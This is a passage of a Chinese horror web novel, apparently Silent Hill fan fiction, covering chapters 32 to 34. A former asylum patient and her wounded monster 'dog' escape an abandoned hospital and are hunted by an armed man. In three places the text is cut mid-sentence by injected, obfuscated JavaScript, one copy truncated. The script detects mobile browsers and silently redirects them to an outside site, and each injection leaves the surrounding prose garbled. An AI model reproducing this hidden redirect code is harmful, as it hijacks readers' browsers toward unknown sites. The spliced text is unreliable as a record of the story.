若要说我现在处于里世界中,我其实心中是不大相信的。和别墅时不同,不仅场景没有丝毫变化,也没有任何怪物出现,比如章鱼脚一类,再不济裹尸袋,总该有吧,不然如何证明我来到里世界了? 也有一种可能,我没有完全进入里世界,而是在现实和它的交接点——表世界。尤克斯只向我科普了关于里世界的知识,对于表世界只是略带而过。 该如何区分表世界和现实?难道是看有没有怪物?但是先前的裹尸袋是我和小狗一同面对的,况且寂静岭里本来就有怪物,这与现实、表里世界无关,只取决于进入寂静岭的人的心理状态如何。 再往前一步就是平台了,我抬起头,看到墙壁顶部用油漆涂出的楼层号,“3”,我已经来到三楼了,如果就这样从连廊去往副楼,就能成功离开病院。但是没有小狗,我独自离开又有什么意义? 左脚犹犹豫豫地踏上眼前的平台,我纠结地舔了舔干涩的嘴唇。要不然……先走吧,反正小狗会顺着我的味道追上来…… 等等!我抱住脑袋,我在 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名叫卡尔的男人朝她看了一眼,放下枪挂在肩上,“这姑娘和怪物是一伙的,到时候被下黑手可别怨我……” “它很乖的!”我为小狗做解释,“它是我的宠物,虽然长的恐怖,但只要不主动伤害我和它,狗狗就不会表现出任何攻击性。” 另一个穿着烟灰色风衣的男人笑了:“哈!狗狗!你真会起名字!”他的长相属于看不出年龄的那种,但我猜测,他肯定不到三十岁。 他自我出现起就用一种不怀好意地目光观察我,那是一种潮湿黏腻却不令人厌恶的眼神,就像被雨天的恶鬼纠缠,湿漉漉的发丝留恋在身躯上,令我心惊胆战,我只和他对视一眼就快速移开视线,低头继续检查小狗的伤势情况。它的右后腿中了弹,伤势很重骨头几乎全部碎裂,就连相互连接的皮肉和经脉也在巨大的火药冲击下变得支离破碎。这条腿已经废了。 小狗的脑袋靠在我的肩头,鼻子里哼哼唧唧像是在哭。难怪它没有把这三个人撕成碎片,原来是因为受了这么重的伤。 “你最好看好你的狗,否则下次再靠近就不是废一条腿那么简单了。”持枪男人哼了一声,朝另外两人招呼了一下手,三人走到稍远一些地方去了。 它重量不容小觑,为了能够支撑住他和自己,我不得不抽出一只手撑在地上。手刚放下去就触碰到湿润的液体,一开始我以为是小狗的血,但很快发现小狗受伤的腿摊平在较远的地方。它几乎和人一样高,腿也和人一样长。 我看了过去,结果对上一具翻着白眼的尸体! 尸体的皮肤还带有鲜活的颜色,似乎刚死不久,致命伤是胸口的……枪孔。我瞬间身体僵硬,尸体生前是被枪杀的,那么凶手肯定…… 悄悄用眼神观察,三人坐在不远处的接待椅上,边讨论边在纸上写写画画,似乎在临时休整,商量接下来的路程去向。 三个目光时不时落在我的身上,在这种压力下,我心惊胆战地在大厅里寻找药物。其实药房在楼上,但小狗走路一瘸一拐,爬楼梯困难,伤口一直在流血,没办法跟着我到处跑,我又实在不放心把小狗单独留在这,总担心那三个家伙会趁着我不再一枪把小狗崩了。好在我对病院的记忆深刻,很快就找到了包扎药物。在我回到小狗身边后,三道目光终于移开了。 一边帮小狗止血包扎,我一边偷听他们的谈话。金发碧眼的帅气飒女人名为莎莉娅,我对她有些好感,她留着一头中长发,身穿皮衣,总让我想到姐姐。 眉眼锋利,总让人觉得不怀好意的黑发男人名叫克拉斯。死在大厅的人不知道名字,但似乎和他们产生了什么冲突,所以被做掉了。 三个人应该是刚认识的,我从他们交谈中嗅到了一丝火药味,那种因为陌生以及不信任而产生的,对着另一方怀有强烈敌意的味道,一旦对方出现任何背叛或者令自己怀疑的行为,就会将其解决,就像解决躺在地上的那具逐渐冰冷的尸体一样。 他们的目的目前无法得知,但我怀疑是为了窄门而来,当然也可能是为了财富,毕竟寂静岭小镇那么神秘,谁知道有多少还没有揭露到世人眼前。 帮小狗包扎好伤,我扶着它站起来。小狗很厉害,哪怕只剩下三条腿也站的稳稳当当,根本不需要我的帮助。 很幸运,我没有进入什么表里世界,只是小狗掉了队,更值得庆幸的是我在那讨人厌的大胡子开抢前护住了小狗,否则我们就已经阴阳两隔了。 就在我们准备离开的时候,有人叫住我,听声音深沉像是卡尔:“你们去哪?” 我停下脚步,小狗也停了下来,呲开牙朝他低吼。卡尔的眉毛一紧,流漏出布满的表情,我连忙拍了拍小狗的腰带示意他收敛,现在我们的处境并不乐观,当缩头乌龟是最好的选择。 “去楼上。”我实话实说。 卡尔点了点头,又问:“刚才看你四处找药的时候,似乎对这儿挺熟悉的。你是小镇的住户?还是以前来过这?” 32.第 32 章 “这所病院和我以前……住的地方布局差不多。”我说。 “这里是精神病院。”克拉斯单手搭在椅背上,挑了挑眉,“你以前在精神病院里住院?看起来不像啊。” 我手指剧烈蜷缩了一下,浅吸一口气,捋了下刘海,“没错。” 他笑道:“也对,但凡是个正常人都不会来这座小镇。” 在克拉斯话音落下后没人说话了,莎莉娅低头看平摊在膝盖上的地图,卡尔则在擦他那把破枪。我站在那里不知所措,过了好一会,克拉斯都百无聊赖地撕下一张纸折小船了,卡尔偏头看了我一眼,我终于脑子开窍,牵着小狗的尾巴马不停蹄地跑了。 就这样我一路飞奔到三楼,我看到了那个熟悉的手术室,门是半阖着的,顶上的灯破碎,透露着一股衰败的景象。 以前呆在禁闭室里的时候,总能听见惨叫和哀求声从里面传出。我听其他病人说过,病院信奉中世纪的治疗土方,在头骨上开一个洞,把搅拌机伸进去并按下开关,患者就能得到新生。 人和机器一样,哪坏了就得修哪里,腿坏了修腿,胳膊坏了修胳膊,脑子出问题了……自然得修脑子。这是病院院长的常挂在嘴边的名言……是院长吗,应该是的吧,我的记忆有时会陷入混乱。 毋庸置疑,这院长比精神病还要疯,他是最应该躺在手术室里面被掀开头盖骨,用手电筒照进去一看究竟的。 其实我一直觉得很奇怪,姐姐为什么会选择让我入住这所病院,明明这里处处透露这不正常。当然我也很快说服了自己,姐姐很忙,她肯定没有时间。所以我自己得多努努力,快点把病治好,争取今早离开…… 不对,我住的病院明明很正规,不应该出现这些……但禁闭室在记忆中存在,我不会去回忆不存在的东西。 好奇怪。 但是算了,越深究越烦恼。 地上遍布轮子滚动划过的印记,路过禁闭室的时候我只是瞥了一眼就移开视线,并没有多看。连廊很长,两边的落地窗因为长期无人打扫变得脏兮兮,失去了作为玻璃窗特有的透明性,像毛玻璃一样,外面看不到里面里面也看不到外面。 连廊的尽头是一扇门,在看到它的时候我先是愣了愣,然后快步走上去。门是双开门,两对把手上拴着一圈又一圈的锁链,链条比我的胳膊还粗。 不对,门怎么是上锁的,不应该是畅通无阻的吗? 我蹲下来用力扯着锁扣,可不像我希望中那样只是一个装饰品,而是真正的锁。锁链相互碰撞发出哗啦啦的声音,我一把扔掉抓在手上的一条锁链,站起来向后退了几步,看着锁发呆。 所以,现在还得找钥匙? 我最讨厌的事有两样,一是吃药二是找东西。曾经有一只讨厌的大老鼠误入我的病房,夜里老鼠的叽叽喳喳声吵的我睡不着,我想要把它赶出去,可老鼠却偏偏往屋里躲,就这样我们一人一鼠“玩”起了捉迷藏。 当然结局是我成功捉到了它,但气地脑袋发昏的我义无反顾地选择掐死了老鼠。小东西在被捏死的那一刻口中喷出血,溅到我的脸和病号服上。我从没杀过活物,这把我给吓坏了,一把丢掉老鼠尸体,躲到了床上瑟瑟发抖不知所措。 最后小狗帮我清理了尸体,那只死老鼠进了它的肚子,可惜毁尸但没灭迹,第二天我就被护士发现了身上的血。 护士问我血是哪来的,还没有从缓过神来的我一五一十地全交代了,我告诉她自己昨晚杀了一只入侵的老鼠。她又问我尸体在那,我说被吃了。护士愣了好一会才问,谁? 我看着天花板上被掀起一角的瓷砖后面那双熟悉又明亮的眼睛,脑子像是生了锈,口齿清晰一字一顿地回答: 是我。 然后我就转病房了,去了重症室。 重症室不是一个好地方。记得那时候我的记忆其实已经隐隐约约有了破土而出的萌芽,可在重症室时的经历就像一杯浓硫酸,不仅将萌芽杀了个彻彻底底还让这片土地再也生不出新的枝芽。我的记忆回归之路被彻底断送在这儿。 我在三楼开始翻箱倒柜,先是楼层里的各个小房间,然后禁闭室,我刻意避开了手术室,我不喜欢那里。 禁闭室一共有五间,但我常呆着的是临近连廊,也就是最后一间。每间禁闭室都不大,顶多十平方米,一张桌子外加一张单人床就占据了一半的空间。 我让小狗呆在外面,自己进去。一踏进去我就被里面的铁锈味呛得直咳嗽,地上铺满碎玻璃渣,才上去咯吱直响。 站在最后一间禁闭室里,熟悉的场景令我无法控制地开始回忆……突然!禁闭室那扇玻璃全部碎裂,只留有几根铁栏杆的窗户外,连廊被阴影全部遮盖的地方,隐隐约约站着一个人影,肩膀宽阔,一手提着砍刀…… 三角头! “狗狗!”我失声大喊。下一秒禁闭室的门就被撞开了,小狗冲了进来。 我口不择言:“外,外面……” 连廊上的三角头不见了。我疑惑眨了眨眼睛,“没了?” 小狗用脑袋蹭了蹭我的腿,我抿唇:“可能是看错了,走吧。” 等出了禁闭室离开昏暗的环境,我才发现小狗一只完好的腿竟然又受伤了!很明显是被玻璃划伤的,右前腿表面有一道很深的伤,血顺着结实骨感十足的腿流淌而下,滴在地上。 流了这么多血,它竟然一声不吭! 从大厅里找来的医疗用品早在为小狗包扎枪伤的时候用完了,那三个亡命之徒就呆在大厅,我不想再碰见他们。 我只能把希望投向手术室。 住院期间我从来没有进入过手术室,但并不妨碍我对它的反感。可惜这一层除了手术室里会出现医疗用品外,我实在想不出哪里能够更快速的获得医疗用品。 如果不是为了小狗,我死也不会进去。 手术室的正中心是一张铺着白布的床,各种各样的仪器围绕在左右,白布很脏,沾满了不知从何而来的黑血以及各种脏污。一旁的无菌台上被扔了一只沾满血的手套,但等我在寻找药品期间不小心靠近的时候,发现上面不仅有血,还有碎肉,零零散散的。 我想吐。 哐哐哐—— 我一边刻意的不去看恶心的无菌台,一边对门外的小狗喊道:“再等等,很快!” 翻找了好久,最后我在药品柜里找到了想要的东西,止血的,消毒的,包扎的,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我退回手术室,然后再出来,企图通过这样的方式回到现实。可并没有用,当我打开门时所看到的是刚才自己所处的手术室。我愣了愣,回过头去,发现原先的手术室也变了,变成没有灯,非常昏暗的环境。 室内正中间的手术台变成了铺着绿布的病床,而且上面多了一个躺着的人。 嘀嘀嘀…… 放在病床旁边的仪器屏幕上心电图滚动,线条就像山一样起起伏伏。 太诡异了,我不想在这里多逗留。我刚想跑,却不经意地留意到仪器顶端金属光泽的东西,像是一把钥匙。 不知道用来开启哪一把锁,那一扇门,我想到连廊尽头的锁,一狠心。说不定呢!我握着门把的手借力一推,飞速奔跑到仪器前,抓起钥匙就跑。 在“十字路口”,我对着三条一模一样的路发愁。 我竖起一根手指虚空点着三条路,“我数十个数,随便乱指,指到谁就是……” 深吸一口气,我闭上眼睛,在心里默念: 一,二,三…… 刚数到三,就感觉有什么东西撞了一下腿。我没有理会也没有睁眼,而是继续数。 四,五…… “噫!” 我蓦然睁眼,一双眼睛瞪的极大。腿边小家伙的大尾巴摇来摇去,几乎占据了我的全部注意力。是小狗。 正为它的重新出现以及我又回归现实而感到高兴,我突然发现它又受伤了。小狗锁骨的位置上明晃晃的一个血洞,再往左偏一点就要穿透咽喉。 33.第 33 章 现在小狗的两条腿上都裹满了绷带,一眼望过去就像半个木乃伊,可惜小狗心性单纯,哪怕浑身是伤,也只会眨巴它那双大眼睛。 我眼角噙着眼泪,轻轻的摸着它的脑袋。 钥匙就是用来打开连廊尽头的锁,只听咔哒一声,极为老式的锁落到的地上,我抓着沉重的锁链一圈一圈地拿下来。彻底取下锁链,我揉了揉手腕,两手撑着门准备推开—— “那后面有什么?” 我的手颤了颤,刚打开一条缝的门砰的一声关上。身后是那熟悉的三个人,不过似乎和之前相比都带了点伤,特别是卡尔,一道渗人的伤痕从太阳穴一路延伸到嘴角,像是个土匪,他看向我们的眼神比之前更冷,我几乎以为那是两把闪着寒光的尖刀。 站在中间的莎莉娅单手叉着腰,“你在哪里找到的钥匙?” “手术室。”我如实回答。 她挑了挑眉,“我们刚去过手术室,里面没人。” 克拉斯也笑道:“只有你的狗。不得不说它真凶啊,要不是我们手里有枪,恐怕要葬送在这里了。” 说着他拍了拍一旁卡尔的肩膀,“是吧?” 对方沉默不语,只是冷冷的看着我。 我总算是弄明白了,小狗的伤绝对是他们造成的。我的心里弥漫着滔天恨意,讨人厌的家伙们!凭什么弄伤小狗! 但我现在相当于单行影只,小狗失去了一条腿,还中了好几枪,我的除了手里的撬棍没有任何攻击性武器。单凭一根撬棍我怎么能打得过这三人,先不说一对三寡不敌众,更何况他们的手里有枪,撬棍在热武器面前就像鸡蛋碰石头。 现在只能忍气吞声。 “我记得从这里走可以通向外面。”我表现出老实巴交还好脾气的样子。 “那太好了。”克拉斯活动了下胳膊,对莎莉娅咧开嘴笑道:“我真是受够这个地方了。等出去以后,我们三个终于可以就事论事地好好聊聊了。” 莎莉娅不理他,克拉斯自找没趣地耸了耸肩,转头对我说:“既然你认路,就走前头吧。” 我点了点头,转身把门推开,示意小狗先走。小狗抬头看我,我冲它眨眨眼睛,它晃着尾巴进去了。 小狗进门后,我对身后三人打了个跟上的手势。 在踏入门的那一刻,我的嘴角垂了下来,但在看到小狗以后又扬了上去。 这三人太危险了,对我和小狗都是,得尽快想办法甩开。如果甩不开……我焦虑地揉搓着指腹。 . 副楼的二层是仓库,里面乱七八糟的,还没有灯,走两步就会撞到东西。三人远远的落在后面,我瞥了一眼就移开视线。离我越远越好,最好直接消失不见。 小狗用头顶了顶我的腿,我弯下腰问它怎么了,它把嘴凑了过来,吐出一个圆柱形大头小身的东西,上面滑滑的沾着它的口水。 我简单的擦了擦,然后在一片漆黑中摸索研究了一会发现这是个手电筒。打开开关后,光线让我终于看清了仓库的时候全貌。 ——比想象中还要乱,明明置物架就在左侧,可箱子和物品偏偏堆积在地上。 借着光,我绕开一个又一个阻挡物,找到了下楼的出口。刚迈下台阶,就听到嘈杂的声音,还有人的喊叫声。我按了下小狗的后脑,让它别被分心,快点走。 一层就是所谓的太平间,也就是停尸房。听病人们说,所有无人认领的尸体都会放在这里,然后每隔一段时间就会统一销毁。 我从来没有来过副楼,连那个常常看见的连廊都不曾踏足,对于整栋副楼的印象都是阴森神秘,再加上病友们没有犯病的时候围绕副楼的各种谈资,让我觉得这座病院简直就是个废弃站,所有可怜可悲,不被人所喜爱,被家人抛弃的可怜鬼都被扔在这儿。 不过,我倒没什么被抛弃的悲伤想法,甚至在面对那些可怜孤独一年到头连一封信都收不到的家伙时有无法言述的傲然。我有姐姐,我有家人。 一层比二层的构造更为复杂,各种弯弯绕绕弄得我头晕目眩,更别提这里实在冷的慌。病院都一副废弃的模样,太平间的供冷居然还在进行,真令人匪夷所思。 绕了好久我终于找到一扇从没有见过的门,当握上金属把手的时候,我被冻地打了个哆嗦。好冷,这个把手简直就像是冰块一样。 打开门,扑面而来的寒气令我几乎喘不上气。我足足憋了好一会,在缓慢地呼吸起来,首先进入鼻腔的是乍冷的空气,刺激地我呼吸道发疼,然后是一股奇怪的味道,像是腐烂的花朵。 人为药剂的香味浓厚,却掩盖不了期间不断破土而出的腐臭。 我捂着鼻子反手关上门。不出意外的话,这里应该就是太平间,专门用来放尸体的地方。难不成这是出去的必经之路?真该死,要从尸体中穿过去,还不如杀了我。 比起几乎快要吐了的我,小狗显得悠闲自在,东嗅嗅西嗅嗅。我知道它又饿了。我很愧疚没有准备足够多的食物,但这里的尸体绝对不能吃,谁知道有没有病毒,用了多少化学剂防腐。 我义正言辞:“不行。” 小狗可怜巴巴地哼唧。 我态度软化:“乖,等出去以后我再给你找吃的,猫罐头狗罐头还是午餐肉罐头都随便你,好不好?” “噫。”它同意了。 我摸了摸它的脑袋,然后直起腰。太平间很黑,我手里的电筒只能照亮前方的一点,我看到两侧都摆满了停尸柜。 都是死的,我告诉自己,没有活过来的可能。 我想深吸一口气但硬生生的忍住了,憋的我脸发红。我迈开腿往前快跑。 小狗跟在我后面一瘸一拐的跟着,它虽然没了一条腿但还剩三条,速度和我不相上下。 快点,再快点…… 快点出去。 哐——右大腿撞到什么东西,我疼得我嘶了一声,用电筒一照,发现是一个被打开的停尸柜。尸体被横放在外面,身上穿着我再熟悉不过的病号服。 小狗想要凑上去,被我一个眼神逼得后退半步。我收回电筒,无视这个尸体,但在走了几步以后又停下。 有点眼熟…… 电筒的光再次照了回去,这次彻底照亮了他的脸。手抖了抖,电筒差点掉到地上。尸体长着一张我在熟悉不过的脸,就是那个喜欢对我神神叨叨,最后从窗户一跃而下的菲利郎弗。 他怎么会在这,他的尸体难道无人认领吗?我不着痕迹地皱了皱眉,他的死很特殊,病院竟然没有交由法医检查……不过,想来也正常,记得当时菲利朗弗的死不了了之,没有任何家属大闹病院,除了他的尸体被发现在草丛里时掀起过一阵轩然大波,但很快就平息下去。病院当然只想着图轻松,又是报案又是尸检,太麻烦了。 甚至病院里的人都很快忘了他,就像他不曾存在过一样。当然,除了我以外。 说实在的,在这里看到他的尸体我着实被吓了一大跳,背后直发麻。 “站在那里!” 死寂的太平间里传来人的声音,我当即持着电筒照了过去,首先看见的是克拉斯,然后是站在他面前平静的小狗。 克拉斯单手叉腰,而一把枪别在他的腰上,正巧紧贴着那只手。比刚才看见菲利朗弗尸体时还要严重的恶寒从心底升起,我厉声喊道:“过来,小狗!” 见小狗不动,我更加严肃:“快点,听不懂我的话吗?” 我彻底发火了,小狗才一瘸一拐的回到我的身边。它刚过来,我就一把按住它的脑袋,把它推到身后。我真的害怕克拉斯,他手里有枪而且离狗狗那么近,随随便便就能要了它的命。 “你比它识时务。”克拉斯笑了笑,但搭在腰上的手没有半点放下来的迹象。真是可恶,故意摆出这样的姿势,看上去一副不在意的模样,实际上随时准备动手。 我紧张的吞咽了一下唾沫,“之前也说过了,它很聪明,只要不刻意挑衅就不会攻击任何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015494|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 克拉斯笑眯眯地还想继续说些什么,突然他看到了我身后躺着的菲利朗弗,脸色霎时间变了。 难不成他怕尸体?我对他的印象从危险的笑面虎变成了可笑的胆小鬼。胆小鬼……其实我也差不多。 “怎么了?”我明知故问。 克拉斯阴恻恻的瞥了我一眼,看得我心里直发毛。他说:“见着了个熟人。” 我一愣,下意识转头去看菲利朗弗。他又说:“刚才的你就是站在这具尸体旁发呆的?尸体有什么好看,难不成你也认识他?” “我当然认识。”我说:“同精神病院的病友,菲利朗弗,只不过我们没什么交集。” “他是怎么死的?” 他突然问这个干什么?我磕磕巴巴:“摔……摔死的,从楼顶掉下去……” 克拉斯眼神非常冷但没有恨意,看向我时十分坦然,“你杀的?” 突然被喷了一口血在头顶,我简直百口莫辩,“怎么可能,开什么玩笑——” 等等!一种猜想油然而生,我问:“你来窄门是找他的?” “对。”克拉斯说。 我猜对了,可我并没有为自己的幸运而高兴,因为运气是有限的,我在这里走了狗屎运,在另一个地方就得吃苦头。 菲利朗弗是个阴沉又神经的家伙,活着的时候就独来独往,我实在想不到他会和一个这样……我悄悄观察克拉斯。和这样一个开朗但阴险的人认识,还令对方不远万里,不惧危险地来找自己,两人的关系不一般。克拉斯是菲利朗弗什么人,亲戚?朋友?一个精神病一个亡命之徒,怎么都想不到两人会凑到一块去。 小狗走在前面,时不时回头确认我的安全。我则和克拉斯并排走在后面,因为多了个大活人,我对太平间的恐惧减弱了些,转而变成了对身边这家伙的警惕,“你现在找到了人,目标也达成了,接下来是不是准备离开小镇?” “不。”克拉斯回答:“只找到了一个,还剩一个。” 我在心里啧了一声,看来暂时甩不掉他。 他继续说:“我一辈子都在寻找这两人,不找到他们,我是不会善罢甘休的。” 那你这辈子还挺惨的,什么都没体验到,只用来找人了。表面上我仍然装出一副热心肠的模样,“那人长什么样,说来听听,说不定我能帮上忙。” “我不记得了。”他说。 不记得了?不记得找个屁!我在内心翻了白眼,“那……确实挺艰难的。” 电筒所照亮的前方出现了一扇门,我虽然激动不已,但没有直接上前,而是看克拉斯,他也正好看向了我。克拉斯单挑眉毛,下嘴唇朝门的方向努了努。 ——你去。 我的眼角抖了一下,该死的胆小鬼,只会躲在别人后面。但没有办法,现在的他手里有枪,他是老大,我只能乖乖听话。 挥了挥手示意小狗靠后,我握住门把手,小心翼翼地开了门。浓厚的雾气涌了进来,我从门缝往外看,浓雾间依稀能够看到宽阔的马路,以及停放在路边的车辆。 是出口。 这个发现实在令人振奋,克拉斯也意识到了这点,脸色都有所改善甚至重新挂上了笑。我率先走出去,然后是小狗。 “对了,和你一起的另外两人呢?”我问克拉斯。 门轴很特殊,一旦松开对门的压制,就会自动合上。我才没那个好心帮他扶着门,一走出去就把手抽了回来。克拉斯不得不自己撑着,“不知道,一眨眼就不见了。” 十有八九是进了里世界,否则不可能会突然消失。我的眼珠子转了转,“你……不等他们吗?” “等什么等?”克拉斯噗嗤一声笑了,是在嘲笑我,“临时搭伙而已,还真以为我跟他们感情有多深呢。” “但他们好像已经来了。”我指向他身后。 克拉斯动作一顿,扭头看向后方。而就在他回头的一刹那,我抄起撬棍,狠狠地劈了上去。 34.第 34 章 这根撬棍只锤过死物,从没揍过活人,当然,我也从来没有想过它落在人身上时双手接受到的触感…… 现在我知道了,像是在打沙袋,区别是里面塞满了石头。 克拉斯躲了一下,撬棍没能落到他的后脑,但狠狠地击打在了他的左肩膀上。我用了十足的力气,他发出一声凄厉的痛呼,抱着胳膊靠在墙边直发抖。 他用一种极为阴森地眼光死死的瞪着我,恨不得化身恶鬼将我拖进十三层地狱。我收起撬棍,冲小狗喊道:“快走!” 咻咻咻—— 跑的过程中子弹落在周围,有一颗好巧不巧就钉在我的脚尖前面一点的沙土里,但凡我奔跑时落脚的位置稍稍慢点,现在这颗子弹就要扎进脚背。 我扑捉到小狗返回攻击克拉斯的企图,连忙厉声制止。克拉斯手里有枪,我不愿意让小狗冒险。 克拉斯已经愤怒到口不择言,连别被我逮着否则有你们好看这样的话都能吼出口。 最后不知道是我们跑得足够远,还是他的枪里子弹终于用光了,我没有再听见子弹飞过的声音。 我慢下脚步,渐渐停了下来。刚才只顾着跑,根本没看路,现在我不知道自己在哪里。雾气又那么大,连路边的标识牌都看不清楚。我叉着腰平复呼吸,呼气吸气,好不容易缓过神来了,我对小狗说:“你能不能闻到……” 等等,小狗呢? 我迷茫地四下转了一圈。没有……没有小狗的身影……它是走丢了吗?还是刚才逃命的路上被子弹击中了关键部位倒地不起? 都怪我!我懊恼的抱住脑袋,都怪我只顾着跑,没有分出心思来关注它。是我的错。 这时候我听见了脚步声,不是四只脚而是两只脚的,应该是一个人。正巧我也看见了不远一个身影在雾中若隐若现。 起先我以为是克拉斯追上来了,神经绷紧,握紧撬棍,随时准备一击上去。但随着那人的靠近,我发现对方身形娇小,不像是个男人…… 越来越近,直到从我身边走过。是一个护士,走路慢悠悠地,路过我的时候甚至连看都没看我一眼。 奇怪,为什么会有护士在这里,精神病院不是被废弃去了吗?我跟着她走了两段,突然意识到自己在干什么,我跟着她干什么?! 我反应过来,转身朝反方向跑去。当务之急是快点找到小狗,周围的景色还是小镇的模样,我还没有进入里世界。 “小狗?”我壮着胆子轻声喊道。 雾气这么大,就算克拉斯拿着枪也打不中,小狗就不一样了,它听力好,听到我在呼喊它绝对会跑过来的。 我继续轻喊:“小狗?” 咻—— 一颗子弹擦着我的脸飞过去,我愣在原地好一会,才感觉到脸侧传来隐隐的痛意。伸手一模,指尖上沾着红红的血。 浓雾之中,我看到一个并不清晰的人影站在远处,那人举着枪,肩膀一高一低,像是受了伤似的。 克拉斯! 我的头发都快竖起来了!我转头就跑,身后的脚步声紧跟而来。 咻—— 脚腕被子弹擦过,我一个趔趄,差点摔倒。而就是这片刻的功夫,我刚站稳准备继续跑的时候,后领连带着我的头发都被狠狠地向后扯去。 我想挣扎,膝盖窝却被狠狠地一踢,腿发软扑通跪在地上。我刚想爬起来,太阳穴却抵上一个冰凉凉的东西,我瞬间不敢动了。 “下手可真狠啊。”克拉斯微微喘着气,“还有,你的狗真是难缠的紧。” 现在的情况不容乐观,我嘴巴抿的很紧,一句话也不敢说,生怕那句话惹毛了他。枪支不长眼,我可不想没命。 撬棍因为刚才他的突然袭击,我没抓稳滚到了一边。我看着距离脚跟不足半米的撬棍,又想了想太阳穴上的枪口,硬生生忍住了捡起来的欲望。 我非常诚恳道:“抱歉。” 克拉斯深吸了一口气。我现在的姿势看不到他的表情,但我猜……并不好看。倒也正常,我的道歉一点也不诚恳。 “你一点也变。”克拉斯说:“还是那么讨厌。” 我一愣,他难道以前认识我,可我在此之前对他整个人一丁点印象都没有。也许是我失忆之前的事 ,我不知道该如何回答,干脆装哑巴。 但装哑巴也没有用,因为我听见抵在头上的那把左轮传出咔哒声。虽然我没有接触过这种东西,但相关影视作品我还是看过的。我慌张的不知所措,脑海里闪过无数中想法,但冒到嘴边的只有一句,“以前的事我早忘了……” 然后就没有了,像是被堵死了一样,我懊恼地闭上眼睛。 克拉斯没有像想象中那样一枪了结我,反而冰冷枪口离开了太阳穴。眼珠子转了转,我赌了一把,趁着他拿开枪的时候迅速闪远,与他面对面。 我对上了他的表情。 原来他不是打算放过我,而是骨裂的肩膀太疼,无法保持住平稳抬枪的姿势。 我欣喜若狂,然后趁机撒开腿又跑了。 . 克拉斯身上有我造成的伤,跑不快。我轻而易举地逃出了他的攻击范围,顺着小镇笔直的街道一路跑,最后在死胡同里停下了。我不能回头,因为害怕会撞上克拉斯。 准确的来说不是死胡同,而是停车场。稀少的车辆停在这里,大部分的车窗都被破坏了,也不知道是谁干得,除此之外还能看到火烧过后的痕迹。 我从一辆小型皮卡车后面翻到了折叠梯,虽然立起来只到我的胯骨,但足够翻过停车场里不算高的围墙。 墙的后面是一个工厂,当然是报废了的,烟囱没有烟雾冒出,也听不见机械工作时的噪音。 工厂的大铁门大敞着,我边探头探脑边小心翼翼地走进去,脚下不知道踩到什么东西一滑,我扶住旁边的铁门才没有摔倒。低头一看,我踩到的是一滩没有干涸的血,因为刚才我的打滑,血被抹开了。 我连忙跳开,在地上使劲蹭了蹭脚底心。 血迹滴滴啦啦,一路蔓延。是有人受伤了吗?几番犹豫之下我还是走了进去,毕竟一个受了重伤流了这么多血的人能有什么攻击性,说不定早就晕厥了。 这是一家钢厂,中心有一个巨大的熔炉,无数生锈的金属管道从上面延伸而下连接到底层,同时也有无数铁管从熔炉延伸到窗户外面,工作区的尽头两侧还有简陋的梯子能够爬到最上方。熔炉巨大,带来的压迫感也十分震撼。虽然已经停止运作,但我能幻想到它在工作时周围有多么炽热。 血迹没有顺着两侧的楼梯通往上层,而是一路延伸到楼梯旁的一个小门里。进入小门,后面是是类似于管理区的地方,走廊里的门都挂着门牌。一个个走过去,分别是厂长,副厂长,财务室以及…… 这扇门是开着的,血迹也到此为止。 那个受伤的家伙就呆在里面,我稍稍退开一步,转身就走。可突然,我听到了一声熟悉的呜咽,像是痛呼,也像在诉苦,更像呼唤我。 我回过头,一种极其不可思议的猜想油然而生的。我迫不及待地冲了进去,抓起中间的格挡白布用力一掀—— 小狗侧躺在残破的单人床上,它也是残破的,四肢全部断了,被纱布包裹着,纱布上浸满了血。 它看到我以后激动地大叫,想起身迎接我却因为站不起来一头从床上栽下去。小狗吃痛地闷哼一声,继续朝我挪动,直到躺在我的脚边后,才满足地喟叹了一口气。 全程我木愣愣的站在那,根本不敢相信自己看到的一切。 “我是在路边发现的。”尤克斯站了起来,“它伤的很重。” 这时候我才注意到他,尤克斯朝我点了点头,他旁边还站着一位短头发的女孩,见我朝她看过去,抿唇微微笑了笑,然后垂着脑袋掀开帘子走出去了。 目送她离开,脚边似乎有什么东西触碰我,我低下头,只见四肢全无的小狗正用头不断蹭我脚尖,脑子轰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020183|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一声炸开。 ”小狗……”我跪倒在地,紧紧抱住它,无法控制地大哭起来。 它为什么会变成这样。都怪我,都怪我当时只顾着自己跑,小狗一定是为了掩护我。该死的克拉斯,我很快就联想到他,联想到他的那句话。 “噫。”小狗哼哼唧唧,伸出舌头卷走我脸上的泪水。 我哭的浑身颤抖,头抵着它的脑袋,差点喘不过气。 一直到我哭地实在没力气了,眼睛干涩无比,我终于止住了哭泣,但是仍然哭泣过度的后遗症还在,一抽一抽的。肺部里面像是有抽气机一样,一股气刚吸进去,还没来得及呼气,又开始控制不住吸气,几乎要缺氧了。 尤克斯递给我一张纸,我简单地擦了擦脸,问他:“你还活着?” “是活着,但也相当于死了一回。”尤克斯把小狗从怀里抱出来搬到单人床,又扶着我坐在唯一一张凳子上,自己则站着,“我被章鱼触须拉走以后,看到了很多东西……” 